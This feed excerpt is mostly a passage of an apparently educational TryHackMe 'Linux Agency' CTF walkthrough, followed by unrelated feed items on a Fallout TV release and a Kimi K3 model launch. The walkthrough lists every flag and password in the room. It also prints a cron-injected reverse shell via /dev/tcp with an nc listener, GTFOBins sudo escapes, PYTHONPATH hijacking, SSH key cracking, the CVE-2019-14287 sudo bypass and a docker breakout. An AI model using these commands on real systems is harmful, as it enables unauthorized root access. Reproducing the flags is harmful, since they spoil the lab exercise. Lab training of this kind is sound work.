you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Fallout Season 2 Release Date – December 2026 Is Official]]></title>
<description><![CDATA[The first season of the Fallout TV series was released in April of this year to great acclaim both critically and in terms of viewership. It comfortably achieved the place for the second most-watched title of Amazon Prime Video, sitting only behind The Lord of the Rings: The Rings of Power. Moreo...]]></description>
<link>https://tsecurity.de/de/3674923/betriebssysteme/fallout-season-2-release-date-december-2026-is-official/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674923/betriebssysteme/fallout-season-2-release-date-december-2026-is-official/</guid>
<pubDate>Fri, 17 Jul 2026 04:10:14 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The first season of the Fallout TV series was released in April of this year to great acclaim both critically and in terms of viewership. It comfortably achieved the place for the second most-watched title of Amazon Prime Video, sitting only behind The Lord of the Rings: The Rings of Power. Moreover, Fallout is a […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/media-streaming/fallout-season-2-release-date/">Fallout Season 2 Release Date – December 2026 Is Official</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of 